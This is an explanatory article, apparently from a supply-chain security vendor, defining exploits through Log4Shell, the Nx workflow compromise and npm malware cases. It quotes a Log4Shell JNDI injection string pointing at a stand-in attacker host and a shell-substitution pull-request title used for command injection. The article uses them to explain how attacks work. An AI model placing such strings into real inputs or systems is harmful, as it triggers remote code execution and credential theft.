Exploit

An exploit in cyber security is code, data, or a sequence of commands that triggers a vulnerability to make software do something its authors never intended, such as running attacker code or leaking memory. The exploit is only the trigger. A separate payload does the damage once the exploit has opened the door.

That model, a flaw plus the exploit that fires it, describes most of the attacks a security team worries about. It describes almost none of the attacks we see on open source package registries. When you run npm install, the registry runs the package's code on your machine by design, so an attacker who controls a package needs no vulnerability and no exploit at all. The malicious code just runs. CVE scanning is built around the exploit model, and that is why it misses the supply chain: malware does not get a CVE, and a clean vulnerability scan does not mean a clean install.

An exploit in cyber security is the step that converts a weakness into an effect. It sits in the middle of a four-part chain that gets collapsed into one word in casual use, and keeping the parts separate is the whole point.

A weakness is a category of mistake, such as an out-of-bounds write. A vulnerability is that mistake in one named product and version, usually with a CVE. An exploit is the specific input or code that triggers the vulnerability. A payload is the code that then carries out the attacker's goal. Alternate names for the exploit itself include exploit code, a weaponized exploit, a proof-of-concept or PoC exploit, and, when a vulnerability is unknown to the vendor, a zero-day exploit.

Log4Shell makes the chain concrete. The weakness is unsafe deserialization of attacker-controlled input (CWE-502). The vulnerability is CVE-2021-44228 in Apache Log4j 2. The exploit is a string like ${jndi:ldap://attacker.example/a} dropped into any field the application logs, such as a username or a User-Agent header. The payload is the Java class the attacker's LDAP server returns, which Log4j fetches and runs. The string is trivial; the damage is remote code execution. CISA added CVE-2021-44228 to its Known Exploited Vulnerabilities catalog on December 10, 2021, flagged for known ransomware use.

An exploit does not have to touch memory. A shell-injection exploit can be a single line of text. In the August 2025 Nx compromise, a GitHub Actions workflow built a shell command out of a pull request title, so a PR titled $(echo "You've been compromised") ran that command with the repository's write token. GitHub's own advisory confirms the mechanism: a title such as that “code would be executed.” The exploit was a PR title. The payload was the stolen npm publishing token.

A vulnerability is the flaw; an exploit is what takes advantage of it. The vulnerability is a property of the code and exists whether or not anyone ever attacks it. The exploit is an action, the concrete input or program that reaches the flaw and makes it do something.

The gap between the two is where most of vulnerability management actually happens. A vulnerability can sit in a dependency for years with no known exploit, and it can still have no reachable path from your code even after an exploit exists. The nth-check regular-expression flaw we dissected in our vulnerability entry shipped in October 2018 and was not fixed until September 2021, yet in a default Create React App build nothing attacker-controlled ever reaches it. A real vulnerability with no reachable exploit path is a to-do item, not an emergency.

The reverse matters more. A vulnerability with a public, weaponized exploit and confirmed attacks is a different kind of object, and severity score alone cannot tell the two apart. Both nth-check and Log4Shell can score high. One has been exploited across the internet; the other, in most deployments, cannot be reached at all. This is why we argue that reachability analysis, not CVSS severity, should drive triage. Our precomputed reachability marks about 60% of CVEs unreachable from a project's code before any exploit is even considered.

An exploit becomes a weapon in stages, and the stage it has reached predicts risk far better than its severity score does. A flaw with only a theoretical exploit is not the same threat as one with a working exploit for sale in a kit.

The industry has standardized this ladder. The CVSS v4.0 specification defines an Exploit Maturity metric whose values climb from Unreported, through Proof-of-Concept, to Attacked. In the spec's own words, the metric “measures the likelihood of the vulnerability being attacked.” CISA's Known Exploited Vulnerabilities catalog is the top rung made operational: a CVE lands there only with confirmed exploitation in the wild, and it arrives with a federal remediation deadline. Our view is that known exploitation should override severity outright, which is also how vulnerability prioritization ought to be ordered: exploited first, then reachable, then everything else.

The ladder is being climbed faster every year. Mandiant found that the average time-to-exploit fell from 63 days across 2018 to 2019 to just 5 days in 2023, across the 138 exploited vulnerabilities it analyzed, and that 70% of them were exploited as zero-days. Meanwhile the number of flaws to watch keeps growing: 48,185 CVEs were published in 2025, up 20.6% over 2024. A team that treats every high-severity CVE as if it were already weaponized will spend its whole week on the bottom rung of the ladder.

Most package supply chain attacks skip the exploit because the package manager already does the one thing an exploit is for: it runs attacker-chosen code on your machine. npm, PyPI, and the rest exist to download and execute code written by strangers. A malicious package does not break that trust model; it uses it exactly as designed. There is no flaw to trigger, so there is nothing an advisory feed can match against.

Install scripts are the clearest case. In the axios compromise of March 2026, a trojanized release pulled in a dependency whose postinstall hook ran a 4,209-byte dropper the moment npm install finished. No exploit, no vulnerability, no CVE at the time it ran. Our scanners flagged the malicious dependency 6 minutes after it was published, because they read what the package code does rather than wait for an advisory. Malware reaches the advisory feed, if at all, only after it has already executed. That is the structural reason CVE scanning cannot be a team's supply chain defense: it is looking for exploits, and these attacks have none.

This is also why we argue that install time, not deploy time, is where most supply chain attacks execute, and that default-on lifecycle scripts were a design mistake. The ecosystem now agrees. npm v12, generally available since July 2026, skips dependency install scripts by default, and pnpm 10 made the same change in January 2025. Both are correct, and both are partial. Worms like Shai-Hulud and plain malicious packages can still run their payload at import time, at build time, or behind an ordinary function call. Blocking install scripts moves the trigger; it does not remove it.

Sometimes the two worlds collide, and a supply chain compromise becomes the delivery vehicle for a classic exploit. The clearest recent case is the art-template compromise of May 2026, where an attacker who had taken over the popular npm templating library published versions 4.13.5 and 4.13.6 that injected a browser-side loader into every site that bundled them. The loader fetched the Coruna iOS exploit kit, which Google's Threat Intelligence Group documented on March 3, 2026 as 23 exploits across five chains targeting iOS 13.0 through 17.2.1.

Here the package was not the exploit. It was the distribution channel. The actual exploits were WebKit memory-corruption bugs selected per device. The kit fingerprinted each visitor's iOS version and routed it to a matching chain, and it reset its payload flag to false at exactly iOS 17.3, because that is the version Apple's patch landed in.

The iOS 17.3 cutoff is the detail worth sitting with. The kit's primary chain, codenamed cassowary, exploited CVE-2024-23222, a WebKit type confusion flaw. Apple fixed it in iOS 17.3, and CISA added it to the KEV catalog on January 23, 2024. Against a patched phone the exploit does nothing, which is why patch management still works for this half of the attack. But no scan of your own dependencies would have framed a compromised templating library as an exploit-delivery problem. The supply chain attack got the exploit kit onto the page; the exploit itself only decided who got hurt.

The exploit, in other words, is losing its place as the hard part of an attack. When the registry runs code for you and malware needs no flaw, “is there an exploit for this?” is no longer the question that protects you. The question is what a given piece of code will do when it runs, and whether you have already run it.